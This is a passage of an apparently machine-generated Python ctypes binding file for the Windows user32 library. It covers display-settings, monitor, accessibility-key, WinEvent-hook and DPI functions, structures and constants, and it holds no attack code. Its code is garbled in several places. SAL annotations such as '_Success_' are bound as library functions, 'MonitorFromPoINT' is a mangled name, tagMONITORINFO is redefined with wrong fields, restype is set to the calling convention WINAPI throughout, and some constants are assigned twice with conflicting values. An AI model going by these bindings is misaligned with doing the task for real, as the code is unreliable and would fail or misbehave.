lpDevMode);\nEnumDisplaySettingsW = user32.EnumDisplaySettingsW\nEnumDisplaySettingsW.restype = WINAPI\n\nEnumDisplaySettings = EnumDisplaySettingsW\n# EnumDisplaySettings = EnumDisplaySettingsA\n\n# WINAPI\n# EnumDisplaySettingsExA(\n# _In_opt_ LPCSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEA* lpDevMode,\n# _In_ DWORD dwFlags);\nEnumDisplaySettingsExA = user32.EnumDisplaySettingsExA\nEnumDisplaySettingsExA.restype = WINAPI\n\n\n# WINAPI\n# EnumDisplaySettingsExW(\n# _In_opt_ LPCWSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEW* lpDevMode,\n# _In_ DWORD dwFlags);\nEnumDisplaySettingsExW = user32.EnumDisplaySettingsExW\nEnumDisplaySettingsExW.restype = WINAPI\n\nEnumDisplaySettingsEx = EnumDisplaySettingsExW\n# EnumDisplaySettingsEx = EnumDisplaySettingsExA\nEDS_RAWMODE = 0x00000002\nEDS_ROTATEDMODE = 0x00000004\n\n# WINAPI\n# EnumDisplayDevicesA(\n# _In_opt_ LPCSTR lpDevice,\n# _In_ DWORD iDevNum,\n# _Inout_ PDISPLAY_DEVICEA lpDisplayDevice,\n# _In_ DWORD dwFlags);\nEnumDisplayDevicesA = user32.EnumDisplayDevicesA\nEnumDisplayDevicesA.restype = WINAPI\n\n\n# WINAPI\n# EnumDisplayDevicesW(\n# _In_opt_ LPCWSTR lpDevice,\n# _In_ DWORD iDevNum,\n# _Inout_ PDISPLAY_DEVICEW lpDisplayDevice,\n# _In_ DWORD dwFlags);\nEnumDisplayDevicesW = user32.EnumDisplayDevicesW\nEnumDisplayDevicesW.restype = WINAPI\n\nEnumDisplayDevices = EnumDisplayDevicesW\n# EnumDisplayDevices = EnumDisplayDevicesA\nEDD_GET_DEVICE_INTERFACE_NAME = 0x00000001\n\n# WINAPI\n# GetDisplayConfigBufferSizes(\n# _In_ UINT32 flags,\n# _Out_ UINT32* numPathArrayElements,\n# _Out_ UINT32* numModeInfoArrayElements);\nGetDisplayConfigBufferSizes = user32.GetDisplayConfigBufferSizes\nGetDisplayConfigBufferSizes.restype = WINAPI\n\n\n# WINAPI\n# SetDisplayConfig(\n# _In_ UINT32 numPathArrayElements,\n# _In_reads_opt_(numPathArrayElements) DISPLAYCONFIG_PATH_INFO* pathArray,\n# _In_ UINT32 numModeInfoArrayElements,\n# _In_reads_opt_(numModeInfoArrayElements) DISPLAYCONFIG_MODE_INFO* modeInfoArray,\n# _In_ UINT32 flags);\nSetDisplayConfig = user32.SetDisplayConfig\nSetDisplayConfig.restype = WINAPI\n\n\n# WINAPI\n# QueryDisplayConfig(\n# _In_ UINT32 flags,\n# _Inout_ UINT32* numPathArrayElements,\n# _Out_writes_to_(*numPathArrayElements, *numPathArrayElements) DISPLAYCONFIG_PATH_INFO* pathArray,\n# _Inout_ UINT32* numModeInfoArrayElements,\n# _Out_writes_to_(*numModeInfoArrayElements, *numModeInfoArrayElements) DISPLAYCONFIG_MODE_INFO* modeInfoArray,\n# _When_(!(flags & QDC_DATABASE_CURRENT), _Pre_null_)\nQueryDisplayConfig = user32.QueryDisplayConfig\nQueryDisplayConfig.restype = WINAPI\n\n\n# WINAPI\n# DisplayConfigGetDeviceInfo(\n# _Inout_ DISPLAYCONFIG_DEVICE_INFO_HEADER* requestPacket);\nDisplayConfigGetDeviceInfo = user32.DisplayConfigGetDeviceInfo\nDisplayConfigGetDeviceInfo.restype = WINAPI\n\n\n# WINAPI\n# DisplayConfigSetDeviceInfo(\n# _In_ DISPLAYCONFIG_DEVICE_INFO_HEADER* setPacket);\nDisplayConfigSetDeviceInfo = user32.DisplayConfigSetDeviceInfo\nDisplayConfigSetDeviceInfo.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return != FALSE)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# SystemParametersInfoA(\n# _In_ UINT uiAction,\n# _In_ UINT uiParam,\n# _Pre_maybenull_ _Post_valid_ PVOID pvParam,\n# _In_ UINT fWinIni);\nSystemParametersInfoA = user32.SystemParametersInfoA\nSystemParametersInfoA.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return != FALSE)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# SystemParametersInfoW(\n# _In_ UINT uiAction,\n# _In_ UINT uiParam,\n# _Pre_maybenull_ _Post_valid_ PVOID pvParam,\n# _In_ UINT fWinIni);\nSystemParametersInfoW = user32.SystemParametersInfoW\nSystemParametersInfoW.restype = WINAPI\n\nSystemParametersInfo = SystemParametersInfoW\n# SystemParametersInfo = SystemParametersInfoA\n\n# WINUSERAPI\n# _Success_(return != FALSE)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# SystemParametersInfoForDpi(\n# _In_ UINT uiAction,\n# _In_ UINT uiParam,\n# _Pre_maybenull_ _Post_valid_ PVOID pvParam,\n# _In_ UINT fWinIni,\n# _In_ UINT dpi);\nSystemParametersInfoForDpi = user32.SystemParametersInfoForDpi\nSystemParametersInfoForDpi.restype = WINAPI\n\n\nclass tagFILTERKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iWaitMSec', DWORD),\n ('iDelayMSec', DWORD),\n ('iRepeatMSec', DWORD),\n ('iBounceMSec', DWORD),\n ]\n\n\nFILTERKEYS = tagFILTERKEYS\nLPFILTERKEYS = POINTER(tagFILTERKEYS)\n\n\nFKF_FILTERKEYSON = 0x00000001\nFKF_AVAILABLE = 0x00000002\nFKF_HOTKEYACTIVE = 0x00000004\nFKF_CONFIRMHOTKEY = 0x00000008\nFKF_HOTKEYSOUND = 0x00000010\nFKF_INDICATOR = 0x00000020\nFKF_CLICKON = 0x00000040\n\nclass tagSTICKYKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ]\n\n\nSTICKYKEYS = tagSTICKYKEYS\nLPSTICKYKEYS = POINTER(tagSTICKYKEYS)\n\n\nSKF_STICKYKEYSON = 0x00000001\nSKF_AVAILABLE = 0x00000002\nSKF_HOTKEYACTIVE = 0x00000004\nSKF_CONFIRMHOTKEY = 0x00000008\nSKF_HOTKEYSOUND = 0x00000010\nSKF_INDICATOR = 0x00000020\nSKF_AUDIBLEFEEDBACK = 0x00000040\nSKF_TRISTATE = 0x00000080\nSKF_TWOKEYSOFF = 0x00000100\nSKF_LALTLATCHED = 0x10000000\nSKF_LCTLLATCHED = 0x04000000\nSKF_LSHIFTLATCHED = 0x01000000\nSKF_RALTLATCHED = 0x20000000\nSKF_RCTLLATCHED = 0x08000000\nSKF_RSHIFTLATCHED = 0x02000000\nSKF_LWINLATCHED = 0x40000000\nSKF_RWINLATCHED = 0x80000000\nSKF_LALTLOCKED = 0x00100000\nSKF_LCTLLOCKED = 0x00040000\nSKF_LSHIFTLOCKED = 0x00010000\nSKF_RALTLOCKED = 0x00200000\nSKF_RCTLLOCKED = 0x00080000\nSKF_RSHIFTLOCKED = 0x00020000\nSKF_LWINLOCKED = 0x00400000\nSKF_RWINLOCKED = 0x00800000\n\nclass tagMOUSEKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iMaxSpeed', DWORD),\n ('iTimeToMaxSpeed', DWORD),\n ('iCtrlSpeed', DWORD),\n ('dwReserved1', DWORD),\n ('dwReserved2', DWORD),\n ]\n\n\nMOUSEKEYS = tagMOUSEKEYS\nLPMOUSEKEYS = POINTER(tagMOUSEKEYS)\n\n\nMKF_MOUSEKEYSON = 0x00000001\nMKF_AVAILABLE = 0x00000002\nMKF_HOTKEYACTIVE = 0x00000004\nMKF_CONFIRMHOTKEY = 0x00000008\nMKF_HOTKEYSOUND = 0x00000010\nMKF_INDICATOR = 0x00000020\nMKF_MODIFIERS = 0x00000040\nMKF_REPLACENUMBERS = 0x00000080\nMKF_LEFTBUTTONSEL = 0x10000000\nMKF_RIGHTBUTTONSEL = 0x20000000\nMKF_LEFTBUTTONDOWN = 0x01000000\nMKF_RIGHTBUTTONDOWN = 0x02000000\nMKF_MOUSEMODE = 0x80000000\n\nclass tagACCESSTIMEOUT(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iTimeOutMSec', DWORD),\n ]\n\n\nACCESSTIMEOUT = tagACCESSTIMEOUT\nLPACCESSTIMEOUT = POINTER(tagACCESSTIMEOUT)\n\n\nATF_TIMEOUTON = 0x00000001\nATF_ONOFFFEEDBACK = 0x00000002\nSSGF_NONE = 0x00000000\nSSGF_DISPLAY = 0x00000003\nSSTF_NONE = 0x00000000\nSSTF_CHARS = 0x00000001\nSSTF_BORDER = 0x00000002\nSSTF_DISPLAY = 0x00000003\nSSWF_NONE = 0x00000000\nSSWF_TITLE = 0x00000001\nSSWF_WINDOW = 0x00000002\nSSWF_DISPLAY = 0x00000003\nSSWF_CUSTOM = 0x00000004\n\nclass tagSOUNDSENTRYA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iFSTextEffect', DWORD),\n ('iFSTextEffectMSec', DWORD),\n ('iFSTextEffectColorBits', DWORD),\n ('iFSGrafEffect', DWORD),\n ('iFSGrafEffectMSec', DWORD),\n ('iFSGrafEffectColor', DWORD),\n ('iWindowsEffect', DWORD),\n ('iWindowsEffectMSec', DWORD),\n ('lpszWindowsEffectDLL', LPSTR),\n ('iWindowsEffectOrdinal', DWORD),\n ]\n\n\nSOUNDSENTRYA = tagSOUNDSENTRYA\nLPSOUNDSENTRYA = POINTER(tagSOUNDSENTRYA)\n\n\n\nclass tagSOUNDSENTRYW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iFSTextEffect', DWORD),\n ('iFSTextEffectMSec', DWORD),\n ('iFSTextEffectColorBits', DWORD),\n ('iFSGrafEffect', DWORD),\n ('iFSGrafEffectMSec', DWORD),\n ('iFSGrafEffectColor', DWORD),\n ('iWindowsEffect', DWORD),\n ('iWindowsEffectMSec', DWORD),\n ('lpszWindowsEffectDLL', LPWSTR),\n ('iWindowsEffectOrdinal', DWORD),\n ]\n\n\nSOUNDSENTRYW = tagSOUNDSENTRYW\nLPSOUNDSENTRYW = POINTER(tagSOUNDSENTRYW)\n\n\nSOUNDSENTRY = SOUNDSENTRYW\nLPSOUNDSENTRY = LPSOUNDSENTRYW\nSSF_SOUNDSENTRYON = 0x00000001\nSSF_AVAILABLE = 0x00000002\nSSF_INDICATOR = 0x00000004\n\n# WINAPI\n# SoundSentry(VOID);\nSoundSentry = user32.SoundSentry\nSoundSentry.restype = WINAPI\n\n\nclass tagTOGGLEKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ]\n\n\nTOGGLEKEYS = tagTOGGLEKEYS\nLPTOGGLEKEYS = POINTER(tagTOGGLEKEYS)\n\n\nTKF_TOGGLEKEYSON = 0x00000001\nTKF_AVAILABLE = 0x00000002\nTKF_HOTKEYACTIVE = 0x00000004\nTKF_CONFIRMHOTKEY = 0x00000008\nTKF_HOTKEYSOUND = 0x00000010\nTKF_INDICATOR = 0x00000020\n\nclass tagAUDIODESCRIPTION(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('Enabled', BOOL),\n ('Locale', LCID),\n ]\n\n\nAUDIODESCRIPTION = tagAUDIODESCRIPTION\nLPAUDIODESCRIPTION = POINTER(tagAUDIODESCRIPTION)\n\n\n\n# WINAPI\n# SetDebugErrorLevel(\n# _In_ DWORD dwLevel);\nSetDebugErrorLevel = user32.SetDebugErrorLevel\nSetDebugErrorLevel.restype = WINAPI\n\nSLE_ERROR = 0x00000001\nSLE_MINORERROR = 0x00000002\nSLE_WARNING = 0x00000003\n\n# WINAPI\n# SetLastErrorEx(\n# _In_ DWORD dwErrCode,\n# _In_ DWORD dwType);\nSetLastErrorEx = user32.SetLastErrorEx\nSetLastErrorEx.restype = WINAPI\n\n\n# WINAPI\n# InternalGetWindowText(\n# _In_ HWND hWnd,\n# _Out_writes_to_(cchMaxCount, return + 1) LPWSTR pString,\n# _In_ INT cchMaxCount);\nInternalGetWindowText = user32.InternalGetWindowText\nInternalGetWindowText.restype = WINAPI\n\n\n# WINAPI\n# EndTask(\n# _In_ HWND hWnd,\n# _In_ BOOL fShutDown,\n# _In_ BOOL fForce);\nEndTask = user32.EndTask\nEndTask.restype = WINAPI\n\n\n# WINAPI\n# CancelShutdown(\n# VOID);\nCancelShutdown = user32.CancelShutdown\nCancelShutdown.restype = WINAPI\n\nMONITOR_DEFAULTTONULL = 0x00000000\nMONITOR_DEFAULTTOPRIMARY = 0x00000001\nMONITOR_DEFAULTTONEAREST = 0x00000002\n\n# WINAPI\n# MonitorFromPoINT(\n# _In_ POINT pt,\n# _In_ DWORD dwFlags);\nMonitorFromPoINT = user32.MonitorFromPoINT\nMonitorFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# MonitorFromRect(\n# _In_ LPCRECT lprc,\n# _In_ DWORD dwFlags);\nMonitorFromRect = user32.MonitorFromRect\nMonitorFromRect.restype = WINAPI\n\n\n# WINAPI\n# MonitorFromWindow(\n# _In_ HWND hwnd,\n# _In_ DWORD dwFlags);\nMonitorFromWindow = user32.MonitorFromWindow\nMonitorFromWindow.restype = WINAPI\n\nMONITORINFOF_PRIMARY = 0x00000001\nCCHDEVICENAME = 0x00000020\n\nclass tagMONITORINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('rcMonitor', RECT),\n ('rcWork', RECT),\n ('dwFlags', DWORD),\n ]\n\n\nMONITORINFO = tagMONITORINFO\nLPMONITORINFO = POINTER(tagMONITORINFO)\n\n\n\nclass tagMONITORINFO(ctypes.Structure):\n _fields_ = [\n ('szDevice', CHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXA = tagMONITORINFO\nLPMONITORINFOEXA = POINTER(tagMONITORINFO)\n\n\n\nclass tagMONITORINFO(ctypes.Structure):\n _fields_ = [\n ('szDevice', WCHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXW = tagMONITORINFO\nLPMONITORINFOEXW = POINTER(tagMONITORINFO)\n\n\nMONITORINFOEX = MONITORINFOEXW\nLPMONITORINFOEX = LPMONITORINFOEXW\n\nclass tagMONITORINFOEXA(ctypes.Structure):\n _fields_ = [\n ('DUMMYSTRUCTNAME', MONITORINFO),\n ('szDevice', CHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXA = tagMONITORINFOEXA\nLPMONITORINFOEXA = POINTER(tagMONITORINFOEXA)\n\n\n\nclass tagMONITORINFOEXW(ctypes.Structure):\n _fields_ = [\n ('DUMMYSTRUCTNAME', MONITORINFO),\n ('szDevice', WCHAR * CCHDEVICENAME),\n ]\n\n\nMONITORINFOEXW = tagMONITORINFOEXW\nLPMONITORINFOEXW = POINTER(tagMONITORINFOEXW)\n\n\nMONITORINFOEX = MONITORINFOEXW\nLPMONITORINFOEX = LPMONITORINFOEXW\n\n# WINAPI\n# GetMonitorInfoA(\n# _In_ HMONITOR hMonitor,\n# _Inout_ LPMONITORINFO lpmi);\nGetMonitorInfoA = user32.GetMonitorInfoA\nGetMonitorInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetMonitorInfoW(\n# _In_ HMONITOR hMonitor,\n# _Inout_ LPMONITORINFO lpmi);\nGetMonitorInfoW = user32.GetMonitorInfoW\nGetMonitorInfoW.restype = WINAPI\n\nGetMonitorInfo = GetMonitorInfoW\n# GetMonitorInfo = GetMonitorInfoA\n\nMONITORENUMPROC = CALLBACK(BOOL, HMONITOR, HDC, LPRECT, LPARAM);\n\n# WINAPI\n# EnumDisplayMonitors(\n# _In_opt_ HDC hdc,\n# _In_opt_ LPCRECT lprcClip,\n# _In_ MONITORENUMPROC lpfnEnum,\n# _In_ LPARAM dwData);\nEnumDisplayMonitors = user32.EnumDisplayMonitors\nEnumDisplayMonitors.restype = WINAPI\n\n\n# WINAPI\n# NotifyWinEvent(\n# _In_ DWORD event,\n# _In_ HWND hwnd,\n# _In_ LONG idObject,\n# _In_ LONG idChild);\nNotifyWinEvent = user32.NotifyWinEvent\nNotifyWinEvent.restype = WINAPI\n\n\n# WINAPI\n# SetWinEventHook(\n# _In_ DWORD eventMin,\n# _In_ DWORD eventMax,\n# _In_opt_ HMODULE hmodWinEventProc,\n# _In_ WINEVENTPROC pfnWinEventProc,\n# _In_ DWORD idProcess,\n# _In_ DWORD idThread,\n# _In_ DWORD dwFlags);\nSetWinEventHook = user32.SetWinEventHook\nSetWinEventHook.restype = WINAPI\n\n\n# WINAPI\n# IsWinEventHookInstalled(\n# _In_ DWORD event);\nIsWinEventHookInstalled = user32.IsWinEventHookInstalled\nIsWinEventHookInstalled.restype = WINAPI\n\nWINEVENT_OUTOFCONTEXT = 0x00000000\nWINEVENT_SKIPOWNTHREAD = 0x00000001\nWINEVENT_SKIPOWNPROCESS = 0x00000002\nWINEVENT_INCONTEXT = 0x00000004\n\n# WINAPI\n# UnhookWinEvent(\n# _In_ HWINEVENTHOOK hWinEventHook);\nUnhookWinEvent = user32.UnhookWinEvent\nUnhookWinEvent.restype = WINAPI\n\nCHILDID_SELF = 0x00000000\nINDEXID_OBJECT = 0x00000000\nINDEXID_CONTAINER = 0x00000000\nOBJID_WINDOW = 0x00000000\nOBJID_SYSMENU = 0xFFFFFFFF\nOBJID_TITLEBAR = 0xFFFFFFFE\nOBJID_MENU = 0xFFFFFFFD\nOBJID_CLIENT = 0xFFFFFFFC\nOBJID_VSCROLL = 0xFFFFFFFB\nOBJID_HSCROLL = 0xFFFFFFFA\nOBJID_SIZEGRIP = 0xFFFFFFF9\nOBJID_CARET = 0xFFFFFFF8\nOBJID_CURSOR = 0xFFFFFFF7\nOBJID_ALERT = 0xFFFFFFF6\nOBJID_SOUND = 0xFFFFFFF5\nOBJID_QUERYCLASSNAMEIDX = 0xFFFFFFF4\nOBJID_NATIVEOM = 0xFFFFFFF0\nEVENT_MIN = 0x00000001\nEVENT_MAX = 0x7FFFFFFF\nEVENT_SYSTEM_SOUND = 0x00000001\nEVENT_SYSTEM_ALERT = 0x00000002\nEVENT_SYSTEM_FOREGROUND = 0x00000003\nEVENT_SYSTEM_MENUSTART = 0x00000004\nEVENT_SYSTEM_MENUEND = 0x00000005\nEVENT_SYSTEM_MENUPOPUPSTART = 0x00000006\nEVENT_SYSTEM_MENUPOPUPEND = 0x00000007\nEVENT_SYSTEM_CAPTURESTART = 0x00000008\nEVENT_SYSTEM_CAPTUREEND = 0x00000009\nEVENT_SYSTEM_MOVESIZESTART = 0x0000000A\nEVENT_SYSTEM_MOVESIZEEND = 0x0000000B\nEVENT_SYSTEM_CONTEXTHELPSTART = 0x0000000C\nEVENT_SYSTEM_CONTEXTHELPEND = 0x0000000D\nEVENT_SYSTEM_DRAGDROPSTART = 0x0000000E\nEVENT_SYSTEM_DRAGDROPEND = 0x0000000F\nEVENT_SYSTEM_DIALOGSTART = 0x00000010\nEVENT_SYSTEM_DIALOGEND = 0x00000011\nEVENT_SYSTEM_SCROLLINGSTART = 0x00000012\nEVENT_SYSTEM_SCROLLINGEND = 0x00000013\nEVENT_SYSTEM_SWITCHSTART = 0x00000014\nEVENT_SYSTEM_SWITCHEND = 0x00000015\nEVENT_SYSTEM_MINIMIZESTART = 0x00000016\nEVENT_SYSTEM_MINIMIZEEND = 0x00000017\nEVENT_SYSTEM_DESKTOPSWITCH = 0x00000020\nEVENT_SYSTEM_SWITCHER_APPGRABBED = 0x00000024\nEVENT_SYSTEM_SWITCHER_APPOVERTARGET = 0x00000025\nEVENT_SYSTEM_SWITCHER_APPDROPPED = 0x00000026\nEVENT_SYSTEM_SWITCHER_CANCELLED = 0x00000027\nEVENT_SYSTEM_IME_KEY_NOTIFICATION = 0x00000029\nEVENT_SYSTEM_END = 0x000000FF\nEVENT_OEM_DEFINED_START = 0x00000101\nEVENT_OEM_DEFINED_END = 0x000001FF\nEVENT_UIA_EVENTID_START = 0x00004E00\nEVENT_UIA_EVENTID_END = 0x00004EFF\nEVENT_UIA_PROPID_START = 0x00007500\nEVENT_UIA_PROPID_END = 0x000075FF\nEVENT_CONSOLE_CARET = 0x00004001\nEVENT_CONSOLE_UPDATE_REGION = 0x00004002\nEVENT_CONSOLE_UPDATE_SIMPLE = 0x00004003\nEVENT_CONSOLE_UPDATE_SCROLL = 0x00004004\nEVENT_CONSOLE_LAYOUT = 0x00004005\nEVENT_CONSOLE_START_APPLICATION = 0x00004006\nEVENT_CONSOLE_END_APPLICATION = 0x00004007\nCONSOLE_APPLICATION_16BIT = 0x00000000\nCONSOLE_APPLICATION_16BIT = 0x00000001\nCONSOLE_CARET_SELECTION = 0x00000001\nCONSOLE_CARET_VISIBLE = 0x00000002\nEVENT_CONSOLE_END = 0x000040FF\nEVENT_OBJECT_CREATE = 0x00008000\nEVENT_OBJECT_DESTROY = 0x00008001\nEVENT_OBJECT_SHOW = 0x00008002\nEVENT_OBJECT_HIDE = 0x00008003\nEVENT_OBJECT_REORDER = 0x00008004\nEVENT_OBJECT_FOCUS = 0x00008005\nEVENT_OBJECT_SELECTION = 0x00008006\nEVENT_OBJECT_SELECTIONADD = 0x00008007\nEVENT_OBJECT_SELECTIONREMOVE = 0x00008008\nEVENT_OBJECT_SELECTIONWITHIN = 0x00008009\nEVENT_OBJECT_STATECHANGE = 0x0000800A\nEVENT_OBJECT_LOCATIONCHANGE = 0x0000800B\nEVENT_OBJECT_NAMECHANGE = 0x0000800C\nEVENT_OBJECT_DESCRIPTIONCHANGE = 0x0000800D\nEVENT_OBJECT_VALUECHANGE = 0x0000800E\nEVENT_OBJECT_PARENTCHANGE = 0x0000800F\nEVENT_OBJECT_HELPCHANGE = 0x00008010\nEVENT_OBJECT_DEFACTIONCHANGE = 0x00008011\nEVENT_OBJECT_ACCELERATORCHANGE = 0x00008012\nEVENT_OBJECT_INVOKED = 0x00008013\nEVENT_OBJECT_TEXTSELECTIONCHANGED = 0x00008014\nEVENT_OBJECT_CONTENTSCROLLED = 0x00008015\nEVENT_SYSTEM_ARRANGMENTPREVIEW = 0x00008016\nEVENT_OBJECT_CLOAKED = 0x00008017\nEVENT_OBJECT_UNCLOAKED = 0x00008018\nEVENT_OBJECT_LIVEREGIONCHANGED = 0x00008019\nEVENT_OBJECT_HOSTEDOBJECTSINVALIDATED = 0x00008020\nEVENT_OBJECT_DRAGSTART = 0x00008021\nEVENT_OBJECT_DRAGCANCEL = 0x00008022\nEVENT_OBJECT_DRAGCOMPLETE = 0x00008023\nEVENT_OBJECT_DRAGENTER = 0x00008024\nEVENT_OBJECT_DRAGLEAVE = 0x00008025\nEVENT_OBJECT_DRAGDROPPED = 0x00008026\nEVENT_OBJECT_IME_SHOW = 0x00008027\nEVENT_OBJECT_IME_HIDE = 0x00008028\nEVENT_OBJECT_IME_CHANGE = 0x00008029\nEVENT_OBJECT_TEXTEDIT_CONVERSIONTARGETCHANGED = 0x00008030\nEVENT_OBJECT_END = 0x000080FF\nEVENT_AIA_START = 0x0000A000\nEVENT_AIA_END = 0x0000AFFF\nSOUND_SYSTEM_STARTUP = 0x00000001\nSOUND_SYSTEM_SHUTDOWN = 0x00000002\nSOUND_SYSTEM_BEEP = 0x00000003\nSOUND_SYSTEM_ERROR = 0x00000004\nSOUND_SYSTEM_QUESTION = 0x00000005\nSOUND_SYSTEM_WARNING = 0x00000006\nSOUND_SYSTEM_INFORMATION = 0x00000007\nSOUND_SYSTEM_MAXIMIZE = 0x00000008\nSOUND_SYSTEM_MINIMIZE = 0x00000009\nSOUND_SYSTEM_RESTOREUP = 0x0000000A\nSOUND_SYSTEM_RESTOREDOWN = 0x0000000B\nSOUND_SYSTEM_APPSTART = 0x0000000C\nSOUND_SYSTEM_FAULT = 0x0000000D\nSOUND_SYSTEM_APPEND = 0x0000000E\nSOUND_SYSTEM_MENUCOMMAND = 0x0000000F\nSOUND_SYSTEM_MENUPOPUP = 0x00000010\nCSOUND_SYSTEM = 0x00000010\nALERT_SYSTEM_INFORMATIONAL = 0x00000001\nALERT_SYSTEM_WARNING = 0x00000002\nALERT_SYSTEM_ERROR = 0x00000003\nALERT_SYSTEM_QUERY = 0x00000004\nALERT_SYSTEM_CRITICAL = 0x00000005\nCALERT_SYSTEM = 0x00000006\n\nclass tagGUITHREADINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('flags', DWORD),\n ('hwndActive', HWND),\n ('hwndFocus', HWND),\n ('hwndCapture', HWND),\n ('hwndMenuOwner', HWND),\n ('hwndMoveSize', HWND),\n ('hwndCaret', HWND),\n ('rcCaret', RECT),\n ]\n\n\nGUITHREADINFO = tagGUITHREADINFO\nPGUITHREADINFO = POINTER(tagGUITHREADINFO)\nLPGUITHREADINFO = POINTER(tagGUITHREADINFO)\n\n\nGUI_CARETBLINKING = 0x00000001\nGUI_INMOVESIZE = 0x00000002\nGUI_INMENUMODE = 0x00000004\nGUI_SYSTEMMENUMODE = 0x00000008\nGUI_POPUPMENUMODE = 0x00000010\nGUI_16BITTASK = 0x00000000\nGUI_16BITTASK = 0x00000020\n\n# WINAPI\n# GetGUIThreadInfo(\n# _In_ DWORD idThread,\n# _Inout_ PGUITHREADINFO pgui);\nGetGUIThreadInfo = user32.GetGUIThreadInfo\nGetGUIThreadInfo.restype = WINAPI\n\n\n# WINAPI\n# BlockInput(\n# BOOL fBlockIt);\nBlockInput = user32.BlockInput\nBlockInput.restype = WINAPI\n\nUSER_DEFAULT_SCREEN_DPI = 0x00000060\n\n# WINAPI\n# SetProcessDPIAware(\n# VOID);\nSetProcessDPIAware = user32.SetProcessDPIAware\nSetProcessDPIAware.restype = WINAPI\n\n\n# WINAPI\n# IsProcessDPIAware(\n# VOID);\nIsProcessDPIAware = user32.IsProcessDPIAware\nIsProcessDPIAware.restype = WINAPI\n\n\n# WINAPI\n# SetThreadDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT dpiContext);\nSetThreadDpiAwarenessContext = user32.SetThreadDpiAwarenessContext\nSetThreadDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetThreadDpiAwarenessContext(\n# VOID);\nGetThreadDpiAwarenessContext = user32.GetThreadDpiAwarenessContext\nGetThreadDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetWindowDpiAwarenessContext(\n# _In_ HWND hwnd);\nGetWindowDpiAwarenessContext = user32.GetWindowDpiAwarenessContext\nGetWindowDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetAwarenessFromDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nGetAwarenessFromDpiAwarenessContext = (\n user32.GetAwarenessFromDpiAwarenessContext\n)\nGetAwarenessFromDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetDpiFromDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nGetDpiFromDpiAwarenessContext = user32.GetDpiFromDpiAwarenessContext\nGetDpiFromDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# AreDpiAwarenessContextsEqual(\n# _In_ DPI_AWARENESS_CONTEXT dpiContextA,\n# _In_ DPI_AWARENESS_CONTEXT dpiContextB);\nAreDpiAwarenessContextsEqual = user32.AreDpiAwarenessContextsEqual\nAreDpiAwarenessContextsEqual.restype = WINAPI\n\n\n# WINAPI\n# IsValidDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nIsValidDpiAwarenessContext = user32.IsValidDpiAwarenessContext\nIsValidDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# GetDpiForWindow(\n# _In_ HWND hwnd);\nGetDpiForWindow = user32.GetDpiForWindow\nGetDpiForWindow.restype = WINAPI\n\n\n# WINAPI\n# GetDpiForSystem(\n# VOID);\nGetDpiForSystem = user32.GetDpiForSystem\nGetDpiForSystem.restype = WINAPI\n\n\n# WINAPI\n# GetSystemDpiForProcess(\n# _In_ HANDLE hProcess);\nGetSystemDpiForProcess = user32.GetSystemDpiForProcess\nGetSystemDpiForProcess.restype = WINAPI\n\n\n# WINAPI\n# EnableNonClientDpiScaling(\n# _In_ HWND hwnd);\nEnableNonClientDpiScaling = user32.EnableNonClientDpiScaling\nEnableNonClientDpiScaling.restype = WINAPI\n\n\n# WINAPI\n# InheritWindowMonitor(\n# _In_ HWND hwnd,\n# _In_opt_ HWND hwndInherit);\nInheritWindowMonitor = user32.InheritWindowMonitor\nInheritWindowMonitor.restype = WINAPI\n\n\n# WINAPI\n# SetProcessDpiAwarenessContext(\n# _In_ DPI_AWARENESS_CONTEXT value);\nSetProcessDpiAwarenessContext = user32.SetProcessDpiAwarenessContext\nSetProcessDpiAwarenessContext.restype = WINAPI\n\n\n# WINAPI\n# SetThreadDpiHostingBehavior(\n# _In_ DPI_HOSTING_BEHAVIOR value);\nSetThreadDpiHostingBehavior = user32.SetThreadDpiHostingBehavior\nSetThreadDpiHostingBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetThreadDpiHostingBehavior();\nGetThreadDpiHostingBehavior = user32.GetThreadDpiHostingBehavior\nGetThreadDpiHostingBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetWindowDpiHostingBehavior(\n# _In_ HWND hwnd);\nGetWindowDpiHostingBehavior = user32.GetWindowDpiHostingBehavior\nGetWindowDpiHostingBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetWindowModuleFileNameA(\n# _In_ HWND hwnd,\n# 